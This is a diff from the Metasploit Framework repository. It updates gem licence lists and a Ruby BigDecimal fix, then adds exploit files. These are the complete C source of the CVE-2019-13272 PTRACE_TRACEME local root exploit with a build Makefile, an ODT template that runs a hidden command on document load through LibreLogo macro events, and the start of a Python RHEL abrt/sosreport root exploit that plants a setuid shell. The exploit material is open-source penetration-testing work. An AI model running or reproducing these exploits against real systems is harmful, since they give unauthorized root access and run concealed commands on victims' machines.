arel-helpers, 2.10.0, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.184.0, "Apache 2.0"
aws-sdk-core, 3.59.0, "Apache 2.0"
aws-sdk-ec2, 1.99.0, "Apache 2.0"
aws-sdk-iam, 1.27.0, "Apache 2.0"
aws-sdk-kms, 1.23.0, "Apache 2.0"
aws-sdk-s3, 1.45.0, "Apache 2.0"
aws-partitions, 1.246.0, "Apache 2.0"
aws-sdk-core, 3.82.0, "Apache 2.0"
aws-sdk-ec2, 1.121.0, "Apache 2.0"
aws-sdk-iam, 1.32.0, "Apache 2.0"
aws-sdk-kms, 1.26.0, "Apache 2.0"
aws-sdk-s3, 1.57.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
bcrypt, 3.1.13, MIT
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
@@ -27,20 +27,20 @@ bundler, 1.17.3, MIT
coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
crass, 1.0.5, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.2, "Apache 2.0"
dnsruby, 1.61.3, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.0.2, MIT
factory_bot_rails, 5.0.2, MIT
faker, 1.9.5, MIT
faraday, 0.15.4, MIT
factory_bot, 5.1.1, MIT
factory_bot_rails, 5.1.1, MIT
faker, 2.2.1, MIT
faraday, 0.17.1, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
@@ -49,49 +49,49 @@ i18n, 0.9.5, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
loofah, 2.2.3, MIT
loofah, 2.4.0, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.36, "New BSD"
metasploit-framework, 5.0.63, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.79, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
minitest, 5.13.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.0, "Apache 2.0"
msgpack, 1.3.1, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.3, MIT
nokogiri, 1.10.5, MIT
octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
pdf-reader, 2.4.0, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.1.1, MIT
public_suffix, 4.0.1, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.4, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 4.2.11.1, MIT
rake, 12.3.2, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.2, unknown
redcarpet, 3.4.0, MIT
recog, 2.3.6, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
@@ -101,43 +101,43 @@ rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-powershell, 0.1.83, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-socket, 0.1.20, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-text, 0.2.24, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.2, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.0, MIT
rspec-expectations, 3.9.0, MIT
rspec-mocks, 3.9.0, MIT
rspec-rails, 3.9.0, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.2, MIT
rspec-support, 3.9.0, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.3, "Simplified BSD"
rubyzip, 2.0.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.0, MIT
simplecov, 0.17.1, MIT
simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 2.0.2, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
tilt, 2.0.10, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2019.2, MIT
tzinfo-data, 1.2019.3, MIT
warden, 1.2.7, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
+2 -2
View File
@@ -1,7 +1,7 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
[COPYING](COPYING) for more details.
The latest version of this software is available from: https://metasploit.com
+1
View File
@@ -1,3 +1,4 @@
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
require 'rails'
require File.expand_path('../boot', __FILE__)
+2 -12
View File
@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
msfenv_real_pathname = Pathname.new(__FILE__).realpath
root = msfenv_real_pathname.parent.parent
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
unless ENV['BUNDLE_GEMFILE']
require 'pathname'
@@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError => e
+11
View File
@@ -0,0 +1,11 @@
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
all:
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
Binary file not shown.
+464
View File
@@ -0,0 +1,464 @@
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
return 0;
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
return force_exec_and_wait(child, 42, "stage3");
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
exit(EXIT_FAILURE);
}
if (stat("/dev/grsec", &st) == 0) {
dprintf("[-] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}
dprintf("[~] Done, looks good\n");
return warn;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n", cmd);
exit(EXIT_FAILURE);
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0], "/cpugovctl") != 0 ||
strstr(&buffer[0], "/package-system-locked") != 0 ||
strstr(&buffer[0], "/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
continue;
}
/* check the path exists */
if (stat(&buffer[0], &st) != 0)
continue;
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
int i;
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
}
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}
return 0;
}
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="P8"><%= @cmd %></text:p>
<text:p text:style-name="Standard">#<%= text_content %></text:p>
</office:text>
</office:body>
</office:document>
@@ -0,0 +1,114 @@
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015
# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
import os,sys,glob,time,sys,socket
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
pid = os.fork()
if pid == 0:
os.execl("/usr/bin/sleep","sleep","100")
time.sleep(0.5)
